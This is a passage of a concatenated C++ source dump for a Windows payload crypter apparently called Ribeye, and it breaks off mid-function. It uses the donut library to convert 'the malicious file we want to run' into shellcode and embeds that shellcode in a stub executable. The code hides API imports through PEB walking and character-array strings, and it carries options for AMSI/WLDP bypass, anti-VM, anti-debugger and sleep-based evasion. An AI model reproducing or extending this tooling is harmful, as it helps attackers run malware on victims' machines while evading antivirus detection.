| 252 | # JetBrains Rider 253 | .idea/ 254 | *.sln.iml 255 | 256 | # CodeRush 257 | .cr/ 258 | 259 | # Python Tools for Visual Studio (PTVS) 260 | __pycache__/ 261 | *.pyc -------------------------------------------------------------------------------- /RibeyeSpecial/tclap/ArgException.h: -------------------------------------------------------------------------------- 1 | // -*- Mode: c++; c-basic-offset: 4; tab-width: 4; -*- 2 | 3 | /****************************************************************************** 4 | * 5 | * file: ArgException.h 6 | * 7 | * Copyright (c) 2003, Michael E. Smoot . 8 | * All rights reserved. 9 | * 10 | * See the file COPYING in the top directory of this distribution for 11 | * more information. 12 | * 13 | * THE SOFTWARE IS PROVIDED _AS IS_, WITHOUT WARRANTY OF ANY KIND, EXPRESS 14 | * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 16 | * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 18 | * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 19 | * DEALINGS IN THE SOFTWARE. 20 | * 21 | *****************************************************************************/ 22 | 23 | 24 | #ifndef TCLAP_ARG_EXCEPTION_H 25 | #define TCLAP_ARG_EXCEPTION_H 26 | 27 | #include 28 | #include 29 | 30 | namespace TCLAP { 31 | 32 | /** 33 | * A simple class that defines and argument exception. Should be caught 34 | * whenever a CmdLine is created and parsed. 35 | */ 36 | class ArgException : public std::exception 37 | { 38 | public: 39 | 40 | /** 41 | * Constructor. 42 | * \param text - The text of the exception. 43 | * \param id - The text identifying the argument source. 44 | * \param td - Text describing the type of ArgException it is. 45 | * of the exception. 46 | */ 47 | ArgException( const std::string& text = "undefined exception", 48 | const std::string& id = "undefined", 49 | const std::string& td = "Generic ArgException") 50 | : std::exception(), 51 | _errorText(text), 52 | _argId( id ), 53 | _typeDescription(td) 54 | { } 55 | 56 | /** 57 | * Destructor. 58 | */ 59 | virtual ~ArgException() throw() { } 60 | 61 | /** 62 | * Returns the error text. 63 | */ 64 | std::string error() const { return ( _errorText ); } 65 | 66 | /** 67 | * Returns the argument id. 68 | */ 69 | std::string argId() const 70 | { 71 | if ( _argId == "undefined" ) 72 | return " "; 73 | else 74 | return ( "Argument: " + _argId ); 75 | } 76 | 77 | /** 78 | * Returns the arg id and error text. 79 | */ 80 | const char* what() const throw() 81 | { 82 | static std::string ex; 83 | ex = _argId + " -- " + _errorText; 84 | return ex.c_str(); 85 | } 86 | 87 | /** 88 | * Returns the type of the exception. Used to explain and distinguish 89 | * between different child exceptions. 90 | */ 91 | std::string typeDescription() const 92 | { 93 | return _typeDescription; 94 | } 95 | 96 | 97 | private: 98 | 99 | /** 100 | * The text of the exception message. 101 | */ 102 | std::string _errorText; 103 | 104 | /** 105 | * The argument related to this exception. 106 | */ 107 | std::string _argId; 108 | 109 | /** 110 | * Describes the type of the exception. Used to distinguish 111 | * between different child exceptions. 112 | */ 113 | std::string _typeDescription; 114 | 115 | }; 116 | 117 | /** 118 | * Thrown from within the child Arg classes when it fails to properly 119 | * parse the argument it has been passed. 120 | */ 121 | class ArgParseException : public ArgException 122 | { 123 | public: 124 | /** 125 | * Constructor. 126 | * \param text - The text of the exception. 127 | * \param id - The text identifying the argument source 128 | * of the exception. 129 | */ 130 | ArgParseException( const std::string& text = "undefined exception", 131 | const std::string& id = "undefined" ) 132 | : ArgException( text, 133 | id, 134 | std::string( "Exception found while parsing " ) + 135 | std::string( "the value the Arg has been passed." )) 136 | { } 137 | }; 138 | 139 | /** 140 | * Thrown from CmdLine when the arguments on the command line are not 141 | * properly specified, e.g. too many arguments, required argument missing, etc. 142 | */ 143 | class CmdLineParseException : public ArgException 144 | { 145 | public: 146 | /** 147 | * Constructor. 148 | * \param text - The text of the exception. 149 | * \param id - The text identifying the argument source 150 | * of the exception. 151 | */ 152 | CmdLineParseException( const std::string& text = "undefined exception", 153 | const std::string& id = "undefined" ) 154 | : ArgException( text, 155 | id, 156 | std::string( "Exception found when the values ") + 157 | std::string( "on the command line do not meet ") + 158 | std::string( "the requirements of the defined ") + 159 | std::string( "Args." )) 160 | { } 161 | }; 162 | 163 | /** 164 | * Thrown from Arg and CmdLine when an Arg is improperly specified, e.g. 165 | * same flag as another Arg, same name, etc. 166 | */ 167 | class SpecificationException : public ArgException 168 | { 169 | public: 170 | /** 171 | * Constructor. 172 | * \param text - The text of the exception. 173 | * \param id - The text identifying the argument source 174 | * of the exception. 175 | */ 176 | SpecificationException( const std::string& text = "undefined exception", 177 | const std::string& id = "undefined" ) 178 | : ArgException( text, 179 | id, 180 | std::string("Exception found when an Arg object ")+ 181 | std::string("is improperly defined by the ") + 182 | std::string("developer." )) 183 | { } 184 | 185 | }; 186 | 187 | class ExitException { 188 | public: 189 | ExitException(int estat) : _estat(estat) {} 190 | 191 | int getExitStatus() const { return _estat; } 192 | 193 | private: 194 | int _estat; 195 | }; 196 | 197 | } // namespace TCLAP 198 | 199 | #endif 200 | 201 | -------------------------------------------------------------------------------- /RibeyeSpecial/donut.h: -------------------------------------------------------------------------------- 1 | /** 2 | BSD 3-Clause License 3 | 4 | Copyright (c) 2019, TheWover, Odzhan. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | */ 31 | 32 | #ifndef DONUT_H 33 | #define DONUT_H 34 | 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | 42 | #define DONUT_ERROR_SUCCESS 0 43 | #define DONUT_ERROR_FILE_NOT_FOUND 1 44 | #define DONUT_ERROR_FILE_EMPTY 2 45 | #define DONUT_ERROR_FILE_ACCESS 3 46 | #define DONUT_ERROR_FILE_INVALID 4 47 | #define DONUT_ERROR_NET_PARAMS 5 48 | #define DONUT_ERROR_NO_MEMORY 6 49 | #define DONUT_ERROR_INVALID_ARCH 7 50 | #define DONUT_ERROR_INVALID_URL 8 51 | #define DONUT_ERROR_URL_LENGTH 9 52 | #define DONUT_ERROR_INVALID_PARAMETER 10 53 | #define DONUT_ERROR_RANDOM 11 54 | #define DONUT_ERROR_DLL_FUNCTION 12 55 | #define DONUT_ERROR_ARCH_MISMATCH 13 56 | #define DONUT_ERROR_DLL_PARAM 14 57 | #define DONUT_ERROR_BYPASS_INVALID 15 58 | #define DONUT_ERROR_NORELOC 16 59 | 60 | // target architecture 61 | #define DONUT_ARCH_ANY -1 // just for vbs,js and xsl files 62 | #define DONUT_ARCH_X86 1 // x86 63 | #define DONUT_ARCH_X64 2 // AMD64 64 | #define DONUT_ARCH_X84 3 // AMD64 + x86 65 | 66 | // module type 67 | #define DONUT_MODULE_NET_DLL 1 // .NET DLL. Requires class and method 68 | #define DONUT_MODULE_NET_EXE 2 // .NET EXE. Executes Main if no class and method provided 69 | #define DONUT_MODULE_DLL 3 // Unmanaged DLL, function is optional 70 | #define DONUT_MODULE_EXE 4 // Unmanaged EXE 71 | #define DONUT_MODULE_VBS 5 // VBScript 72 | #define DONUT_MODULE_JS 6 // JavaScript or JScript 73 | 74 | // instance type 75 | #define DONUT_INSTANCE_PIC 1 // Self-contained 76 | #define DONUT_INSTANCE_URL 2 // Download from remote server 77 | 78 | // AMSI/WLDP options 79 | #define DONUT_BYPASS_SKIP 1 // Disables bypassing AMSI/WDLP 80 | #define DONUT_BYPASS_ABORT 2 // If bypassing AMSI/WLDP fails, the loader stops running 81 | #define DONUT_BYPASS_CONTINUE 3 // If bypassing AMSI/WLDP fails, the loader continues running 82 | 83 | #define DONUT_MAX_NAME 256 // maximum length of string for domain, class, method and parameter names 84 | #define DONUT_MAX_DLL 8 // maximum number of DLL supported by instance 85 | #define DONUT_MAX_URL 256 86 | #define DONUT_MAX_MODNAME 8 87 | #define DONUT_SIG_LEN 8 // 64-bit string to verify decryption ok 88 | #define DONUT_VER_LEN 32 89 | #define DONUT_DOMAIN_LEN 8 90 | 91 | typedef struct _DONUT_CONFIG { 92 | int arch; // target architecture for shellcode 93 | int bypass; // bypass option for AMSI/WDLP 94 | int compress; // TODO: compress file 95 | int encode; // encode shellcode with base64 (also copy to clipboard on windows) 96 | int thread; // run entrypoint for unmanaged EXE as a thread 97 | int exit; // when shellcode ends, call RtlExitUserProcess to terminate the host process 98 | char domain[DONUT_MAX_NAME]; // name of domain to create for assembly 99 | char cls[DONUT_MAX_NAME]; // name of class and optional namespace 100 | char method[DONUT_MAX_NAME]; // name of method or exported API to execute 101 | int ansi; // 102 | char param[DONUT_MAX_NAME]; // parameters to method, DLL function, wmain() or main() for unmanaged EXE files 103 | char file[DONUT_MAX_NAME]; // assembly to create module from 104 | char url[DONUT_MAX_URL]; // points to root path of where module will be on remote http server 105 | char runtime[DONUT_MAX_NAME]; // runtime version to use. 106 | char modname[DONUT_MAX_NAME]; // name of module written to disk 107 | 108 | int mod_type; // .NET EXE/DLL, VBS,JS,EXE,DLL 109 | uint64_t mod_len; // size of DONUT_MODULE 110 | void *mod; // points to donut module 111 | 112 | int inst_type; // DONUT_INSTANCE_PIC or DONUT_INSTANCE_URL 113 | uint64_t inst_len; // size of DONUT_INSTANCE 114 | void *inst; // points to donut instance 115 | 116 | uint64_t pic_len; // size of shellcode 117 | void *pic; // points to PIC/shellcode 118 | } DONUT_CONFIG, *PDONUT_CONFIG; 119 | 120 | #ifdef __cplusplus 121 | extern "C" { 122 | #endif 123 | 124 | int DonutCreate(PDONUT_CONFIG); 125 | int DonutDelete(PDONUT_CONFIG); 126 | 127 | #ifdef __cplusplus 128 | } 129 | #endif 130 | 131 | #endif 132 | -------------------------------------------------------------------------------- /RibeyeSpecial/tclap/MultiSwitchArg.h: -------------------------------------------------------------------------------- 1 | 2 | /****************************************************************************** 3 | * 4 | * file: MultiSwitchArg.h 5 | * 6 | * Copyright (c) 2003, Michael E. Smoot . 7 | * Copyright (c) 2004, Michael E. Smoot, Daniel Aarno. 8 | * Copyright (c) 2005, Michael E. Smoot, Daniel Aarno, Erik Zeek. 9 | * All rights reserved. 10 | * 11 | * See the file COPYING in the top directory of this distribution for 12 | * more information. 13 | * 14 | * THE SOFTWARE IS PROVIDED _AS IS_, WITHOUT WARRANTY OF ANY KIND, EXPRESS 15 | * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 17 | * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 19 | * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 20 | * DEALINGS IN THE SOFTWARE. 21 | * 22 | *****************************************************************************/ 23 | 24 | 25 | #ifndef TCLAP_MULTI_SWITCH_ARG_H 26 | #define TCLAP_MULTI_SWITCH_ARG_H 27 | 28 | #include 29 | #include 30 | 31 | #include "SwitchArg.h" 32 | 33 | namespace TCLAP { 34 | 35 | /** 36 | * A multiple switch argument. If the switch is set on the command line, then 37 | * the getValue method will return the number of times the switch appears. 38 | */ 39 | class MultiSwitchArg : public SwitchArg 40 | { 41 | protected: 42 | 43 | /** 44 | * The value of the switch. 45 | */ 46 | int _value; 47 | 48 | /** 49 | * Used to support the reset() method so that ValueArg can be 50 | * reset to their constructed value. 51 | */ 52 | int _default; 53 | 54 | public: 55 | 56 | /** 57 | * MultiSwitchArg constructor. 58 | * \param flag - The one character flag that identifies this 59 | * argument on the command line. 60 | * \param name - A one word name for the argument. Can be 61 | * used as a long flag on the command line. 62 | * \param desc - A description of what the argument is for or 63 | * does. 64 | * \param init - Optional. The initial/default value of this Arg. 65 | * Defaults to 0. 66 | * \param v - An optional visitor. You probably should not 67 | * use this unless you have a very good reason. 68 | */ 69 | MultiSwitchArg(const std::string& flag, 70 | const std::string& name, 71 | const std::string& desc, 72 | int init = 0, 73 | Visitor* v = NULL); 74 | 75 | 76 | /** 77 | * MultiSwitchArg constructor. 78 | * \param flag - The one character flag that identifies this 79 | * argument on the command line. 80 | * \param name - A one word name for the argument. Can be 81 | * used as a long flag on the command line. 82 | * \param desc - A description of what the argument is for or 83 | * does. 84 | * \param parser - A CmdLine parser object to add this Arg to 85 | * \param init - Optional. The initial/default value of this Arg. 86 | * Defaults to 0. 87 | * \param v - An optional visitor. You probably should not 88 | * use this unless you have a very good reason. 89 | */ 90 | MultiSwitchArg(const std::string& flag, 91 | const std::string& name, 92 | const std::string& desc, 93 | CmdLineInterface& parser, 94 | int init = 0, 95 | Visitor* v = NULL); 96 | 97 | 98 | /** 99 | * Handles the processing of the argument. 100 | * This re-implements the SwitchArg version of this method to set the 101 | * _value of the argument appropriately. 102 | * \param i - Pointer the the current argument in the list. 103 | * \param args - Mutable list of strings. Passed 104 | * in from main(). 105 | */ 106 | virtual bool processArg(int* i, std::vector& args); 107 | 108 | /** 109 | * Returns int, the number of times the switch has been set. 110 | */ 111 | int getValue(); 112 | 113 | /** 114 | * Returns the shortID for this Arg. 115 | */ 116 | std::string shortID(const std::string& val) const; 117 | 118 | /** 119 | * Returns the longID for this Arg. 120 | */ 121 | std::string longID(const std::string& val) const; 122 | 123 | void reset(); 124 | 125 | }; 126 | 127 | ////////////////////////////////////////////////////////////////////// 128 | //BEGIN MultiSwitchArg.cpp 129 | ////////////////////////////////////////////////////////////////////// 130 | inline MultiSwitchArg::MultiSwitchArg(const std::string& flag, 131 | const std::string& name, 132 | const std::string& desc, 133 | int init, 134 | Visitor* v ) 135 | : SwitchArg(flag, name, desc, false, v), 136 | _value( init ), 137 | _default( init ) 138 | { } 139 | 140 | inline MultiSwitchArg::MultiSwitchArg(const std::string& flag, 141 | const std::string& name, 142 | const std::string& desc, 143 | CmdLineInterface& parser, 144 | int init, 145 | Visitor* v ) 146 | : SwitchArg(flag, name, desc, false, v), 147 | _value( init ), 148 | _default( init ) 149 | { 150 | parser.add( this ); 151 | } 152 | 153 | inline int MultiSwitchArg::getValue() { return _value; } 154 | 155 | inline bool MultiSwitchArg::processArg(int *i, std::vector& args) 156 | { 157 | if ( _ignoreable && Arg::ignoreRest() ) 158 | return false; 159 | 160 | if ( argMatches( args[*i] )) 161 | { 162 | // so the isSet() method will work 163 | _alreadySet = true; 164 | 165 | // Matched argument: increment value. 166 | ++_value; 167 | 168 | _checkWithVisitor(); 169 | 170 | return true; 171 | } 172 | else if ( combinedSwitchesMatch( args[*i] ) ) 173 | { 174 | // so the isSet() method will work 175 | _alreadySet = true; 176 | 177 | // Matched argument: increment value. 178 | ++_value; 179 | 180 | // Check for more in argument and increment value. 181 | while ( combinedSwitchesMatch( args[*i] ) ) 182 | ++_value; 183 | 184 | _checkWithVisitor(); 185 | 186 | return false; 187 | } 188 | else 189 | return false; 190 | } 191 | 192 | inline std::string 193 | MultiSwitchArg::shortID(const std::string& val) const 194 | { 195 | return Arg::shortID(val) + " ... "; 196 | } 197 | 198 | inline std::string 199 | MultiSwitchArg::longID(const std::string& val) const 200 | { 201 | return Arg::longID(val) + " (accepted multiple times)"; 202 | } 203 | 204 | inline void 205 | MultiSwitchArg::reset() 206 | { 207 | MultiSwitchArg::_value = MultiSwitchArg::_default; 208 | } 209 | 210 | ////////////////////////////////////////////////////////////////////// 211 | //END MultiSwitchArg.cpp 212 | ////////////////////////////////////////////////////////////////////// 213 | 214 | } //namespace TCLAP 215 | 216 | #endif 217 | -------------------------------------------------------------------------------- /RibeyeBone/ImportHandler.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "ImportHandler.h" 6 | 7 | #define ReCa reinterpret_cast 8 | #ifdef UNICODE 9 | #undef Module32First 10 | #undef Module32Next 11 | #undef MODULEENTRY32 12 | #endif 13 | 14 | BYTE * GetProcAddressA(HINSTANCE hDll, const char * szFunc); 15 | 16 | typedef struct _UNICODE_STRING { 17 | USHORT Length; 18 | USHORT MaximumLength; 19 | PWSTR Buffer; 20 | } UNICODE_STRING, *PUNICODE_STRING; 21 | 22 | typedef struct _LDR_DATA_TABLE_ENTRY 23 | { 24 | LIST_ENTRY InLoadOrderLinks; 25 | LIST_ENTRY InMemoryOrderLinks; 26 | LIST_ENTRY InInitializationOrderLinks; 27 | PVOID DllBase; 28 | PVOID EntryPoint; 29 | ULONG SizeOfImage; 30 | UNICODE_STRING FullDllName; 31 | UNICODE_STRING BaseDllName; 32 | ULONG Flags; 33 | WORD LoadCount; 34 | WORD TlsIndex; 35 | union 36 | { 37 | LIST_ENTRY HashLinks; 38 | struct 39 | { 40 | PVOID SectionPointer; 41 | ULONG CheckSum; 42 | }; 43 | }; 44 | union 45 | { 46 | ULONG TimeDateStamp; 47 | PVOID LoadedImports; 48 | }; 49 | _ACTIVATION_CONTEXT * EntryPointActivationContext; 50 | PVOID PatchInformation; 51 | LIST_ENTRY ForwarderLinks; 52 | LIST_ENTRY ServiceTagLinks; 53 | LIST_ENTRY StaticLinks; 54 | } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; 55 | 56 | void *HdnGetModuleBase(const char *moduleName) 57 | { 58 | wchar_t wModuleName[100]; 59 | 60 | MultiByteToWideChar(CP_ACP, MB_PRECOMPOSED, moduleName, -1, wModuleName, 100); 61 | 62 | #if defined( _WIN64 ) 63 | #define PEBOffset 0x60 64 | #define LdrOffset 0x18 65 | #define ListOffset 0x10 66 | unsigned long long pPeb = __readgsqword(PEBOffset); 67 | #elif defined( _WIN32 ) 68 | #define PEBOffset 0x30 69 | #define LdrOffset 0x0C 70 | #define ListOffset 0x0C 71 | unsigned long pPeb = __readfsdword(PEBOffset); 72 | #endif 73 | pPeb = *reinterpret_cast(pPeb + LdrOffset); 74 | PLDR_DATA_TABLE_ENTRY pModuleList = *reinterpret_cast(pPeb + ListOffset); 75 | while (pModuleList->DllBase) 76 | { 77 | if (!wcscmp(pModuleList->BaseDllName.Buffer, wModuleName)) 78 | return pModuleList->DllBase; 79 | pModuleList = reinterpret_cast(pModuleList->InLoadOrderLinks.Flink); 80 | } 81 | return nullptr; 82 | } 83 | 84 | 85 | typedef HMODULE(WINAPI* pLoadLibA)(IN LPCSTR); 86 | 87 | 88 | HMODULE cLoadLibA(LPCSTR lpLibName) 89 | { 90 | typedef HMODULE(WINAPI * pLoadLibA)(IN LPCSTR); 91 | 92 | pLoadLibA pLoadLibraryA = nullptr; 93 | 94 | if (!pLoadLibraryA) 95 | { 96 | constexpr const char NtApi[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y','A','\0' }; 97 | 98 | constexpr const char ModuleN[] = { 'K', 'E', 'R', 'N', 'E', 'L', 'B', 'A', 'S', 'E','.', 'd', 'l', 'l', '\0' }; 99 | 100 | pLoadLibraryA = static_cast(GetImportB(ModuleN, NtApi)); 101 | } 102 | 103 | return pLoadLibraryA(lpLibName); 104 | } 105 | 106 | 107 | void * GetImportB(const char * szDll, const char * szFunc) 108 | { 109 | HINSTANCE hDll = (HINSTANCE)HdnGetModuleBase(szDll); 110 | 111 | if (!hDll) 112 | { 113 | hDll = cLoadLibA(szDll); 114 | 115 | if (!hDll) 116 | { 117 | return 0; 118 | } 119 | } 120 | else { 121 | } 122 | 123 | BYTE * pFunc = GetProcAddressA(hDll, szFunc); 124 | if (!pFunc) 125 | return 0; 126 | 127 | return pFunc; 128 | } 129 | 130 | 131 | HINSTANCE GetModuleHandleExA(HANDLE hProc, const char * szDll) 132 | { 133 | MODULEENTRY32 ME32{ 0 }; 134 | ME32.dwSize = sizeof(ME32); 135 | 136 | HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetProcessId(hProc)); 137 | if (hSnap == INVALID_HANDLE_VALUE) 138 | { 139 | while (GetLastError() == ERROR_BAD_LENGTH) 140 | { 141 | hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetProcessId(hProc)); 142 | 143 | if (hSnap != INVALID_HANDLE_VALUE) 144 | break; 145 | } 146 | } 147 | 148 | BOOL bRet = Module32First(hSnap, &ME32); 149 | while (bRet) 150 | { 151 | if (!_stricmp(ME32.szModule, szDll)) 152 | break; 153 | bRet = Module32Next(hSnap, &ME32); 154 | } 155 | CloseHandle(hSnap); 156 | 157 | if (!bRet) 158 | return NULL; 159 | 160 | return ME32.hModule; 161 | } 162 | 163 | BYTE * GetProcAddressA(HINSTANCE hDll, const char * szFunc) 164 | { 165 | if (!hDll) 166 | return nullptr; 167 | 168 | BYTE * pBase = reinterpret_cast(hDll); 169 | auto * pNT = reinterpret_cast(pBase + reinterpret_cast(pBase)->e_lfanew); 170 | auto * pDirectory = &pNT->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 171 | auto * pExportDir = reinterpret_cast(pBase + pDirectory->VirtualAddress); 172 | auto ExportSize = pDirectory->Size; 173 | DWORD DirRVA = pDirectory->VirtualAddress; 174 | 175 | if (!ExportSize) 176 | return nullptr; 177 | 178 | if (reinterpret_cast(szFunc) <= MAXWORD) 179 | { 180 | WORD Base = LOWORD(pExportDir->Base - 1); 181 | WORD Ordinal = LOWORD(szFunc) - Base; 182 | DWORD FuncRVA = reinterpret_cast(pBase + pExportDir->AddressOfFunctions)[Ordinal]; 183 | 184 | if (FuncRVA >= DirRVA && FuncRVA < DirRVA + ExportSize) 185 | { 186 | char pFullExport[MAX_PATH]{ 0 }; 187 | auto Len = strlen(reinterpret_cast(pBase + FuncRVA)); 188 | if (!Len) 189 | return nullptr; 190 | 191 | memcpy(pFullExport, reinterpret_cast(pBase + FuncRVA), Len); 192 | char * pFuncName = strchr(pFullExport, '.'); 193 | *pFuncName++ = '\0'; 194 | if (*pFuncName == '#') 195 | pFuncName = reinterpret_cast(LOWORD(atoi(++pFuncName))); 196 | 197 | HINSTANCE hLib = cLoadLibA(pFullExport); 198 | if (hLib == reinterpret_cast(hDll) && !_stricmp(pFuncName, szFunc)) 199 | { 200 | return nullptr; 201 | } 202 | 203 | return GetProcAddressA(hLib, pFuncName); 204 | } 205 | } 206 | 207 | DWORD max = pExportDir->NumberOfNames - 1; 208 | DWORD min = 0; 209 | WORD Ordinal = 0; 210 | 211 | while (min <= max) 212 | { 213 | DWORD mid = (min + max) >> 1; 214 | 215 | DWORD CurrNameRVA = reinterpret_cast(pBase + pExportDir->AddressOfNames)[mid]; 216 | char * szName = reinterpret_cast(pBase + CurrNameRVA); 217 | 218 | int cmp = strcmp(szName, szFunc); 219 | if (cmp < 0) 220 | min = mid + 1; 221 | else if (cmp > 0) 222 | max = mid - 1; 223 | else 224 | { 225 | Ordinal = reinterpret_cast(pBase + pExportDir->AddressOfNameOrdinals)[mid]; 226 | break; 227 | } 228 | } 229 | 230 | if (!Ordinal) 231 | return nullptr; 232 | 233 | DWORD FuncRVA = reinterpret_cast(pBase + pExportDir->AddressOfFunctions)[Ordinal]; 234 | 235 | if (FuncRVA >= DirRVA && FuncRVA < DirRVA + ExportSize) 236 | { 237 | char pFullExport[MAX_PATH]{ 0 }; 238 | auto Len = strlen(reinterpret_cast(pBase + FuncRVA)); 239 | if (!Len) 240 | return nullptr; 241 | 242 | memcpy(pFullExport, reinterpret_cast(pBase + FuncRVA), Len); 243 | char * pFuncName = strchr(pFullExport, '.'); 244 | *pFuncName++ = '\0'; 245 | if (*pFuncName == '#') 246 | pFuncName = reinterpret_cast(LOWORD(atoi(++pFuncName))); 247 | 248 | HINSTANCE hLib = cLoadLibA(pFullExport); 249 | if (hLib == reinterpret_cast(hDll) && !_stricmp(pFuncName, szFunc)) 250 | { 251 | return nullptr; 252 | } 253 | 254 | return GetProcAddressA(hLib, pFuncName); 255 | } 256 | 257 | return pBase + FuncRVA; 258 | } -------------------------------------------------------------------------------- /RibeyeSpecial/RibeyeSpecial.cpp: -------------------------------------------------------------------------------- 1 | // RibeyeSpecial.cpp : This file contains the 'main' function. Program execution begins and ends there. 2 | // 3 | #include 4 | #include 5 | #include 6 | #include "donut.h" 7 | #include "tclap/CmdLine.h" 8 | #include "Helper.h" 9 | 10 | #ifdef _WIN64 11 | #pragma comment(lib, "donut.lib") 12 | #else 13 | #pragma comment(lib, "donut32.lib") 14 | #endif 15 | 16 | #define MAX_BUFFER 4097152 17 | // Struct that will determine the configuration to run this 18 | 19 | struct Coconut 20 | { 21 | int AES_Key = 20; 22 | int sleepTime = 5000; 23 | bool sleep = false; 24 | bool antivm = false; 25 | bool prime = false; 26 | bool mouse = false; 27 | bool acceleratedsleep = false; 28 | bool debugger = false; 29 | bool ram = false; 30 | bool cpu_core = true; 31 | int szData = 0; 32 | char opcodes[2097152] = { 0 }; 33 | } coconut; 34 | 35 | 36 | bool isValidHeader(char* payload) 37 | { 38 | IMAGE_DOS_HEADER* lpDosHeader = (IMAGE_DOS_HEADER*)payload; 39 | 40 | if (lpDosHeader->e_magic == IMAGE_DOS_SIGNATURE) 41 | { 42 | return true; 43 | } 44 | return false; 45 | } 46 | 47 | bool is64bit(char* payload) 48 | { 49 | IMAGE_DOS_HEADER* lpDosHeader = (IMAGE_DOS_HEADER*)payload; 50 | 51 | IMAGE_NT_HEADERS* lpNtHeader = reinterpret_cast(payload + lpDosHeader->e_lfanew); 52 | 53 | return (lpNtHeader->FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64); 54 | } 55 | 56 | // File is the malicious file we want to run 57 | int writeShellCode(const char * file, std::string payload_output, std::string params) 58 | { 59 | DONUT_CONFIG c; 60 | 61 | // zero initialize configuration 62 | memset(&c, 0, sizeof(c)); 63 | 64 | // default type is position independent code for dual-mode (x86 + amd64) 65 | c.inst_type = DONUT_INSTANCE_PIC; 66 | c.arch = DONUT_ARCH_X84; 67 | c.bypass = DONUT_BYPASS_SKIP; // continues loading even if disabling AMSI/WLDP fails 68 | c.compress = 0; // compression is not implemented yet 69 | c.encode = 0; // don't encode with base64 70 | c.thread = 0; // run entrypoint for unmanaged EXE without thread 71 | c.ansi = 0; // command line will be converted to unicode 72 | c.exit = 0; // don't call RtlExitUserProcess to terminate host process 73 | c.mod_type = DONUT_MODULE_EXE; 74 | 75 | memcpy(c.param, params.data(), params.length()); 76 | 77 | memcpy(c.file, file, strlen(file)); 78 | 79 | char * buffer = new char[MAX_BUFFER]; 80 | std::ifstream infile(file, std::ios::in | std::ios::binary | std::ios::ate); 81 | //get length of file 82 | size_t length = infile.tellg(); 83 | infile.seekg(0); 84 | 85 | // don't overflow the buffer! 86 | if (length > MAX_BUFFER) 87 | { 88 | length = MAX_BUFFER; 89 | } 90 | printf("[+] length of payload: %d bytes\n", length); 91 | 92 | //read file 93 | infile.read(buffer, length); 94 | 95 | if (!isValidHeader(buffer)) 96 | { 97 | printf("[!] Invalid PE file, abort!\n"); 98 | } 99 | DonutCreate(&c); 100 | 101 | coconut.szData = c.pic_len; 102 | 103 | memcpy((void*)coconut.opcodes, c.pic, c.pic_len); 104 | 105 | 106 | std::ifstream Bone; 107 | 108 | if (is64bit(buffer)) 109 | { 110 | printf("[+] Detecting a 64bit payload.\n"); 111 | Bone.open("RibeyeBone64.exe", std::ios::in | std::ios::binary); 112 | } 113 | else 114 | { 115 | printf("[+] Detecting a 32bit payload.\n"); 116 | Bone.open("RibeyeBone32.exe", std::ios::in | std::ios::binary); 117 | } 118 | 119 | char* bone_buffer = new char[MAX_BUFFER]; 120 | //get length of file 121 | Bone.seekg(0, std::ios::end); 122 | size_t bone_length = Bone.tellg(); 123 | Bone.seekg(0, std::ios::beg); 124 | 125 | // don't overflow the buffer! 126 | if (bone_length > MAX_BUFFER) 127 | { 128 | bone_length = MAX_BUFFER; 129 | } 130 | 131 | Bone.read(bone_buffer, bone_length); 132 | 133 | uintptr_t marker = FindPattern((char*)bone_buffer, bone_length, (char*)"COCONUTZ", (char*)"xxxxxxxx"); 134 | 135 | if (marker == NULL) 136 | { 137 | printf("[!] Can't find COCONUTZ marker, abort!\n"); 138 | return 1; 139 | } 140 | 141 | intptr_t offset = (intptr_t)marker - (intptr_t)bone_buffer; 142 | 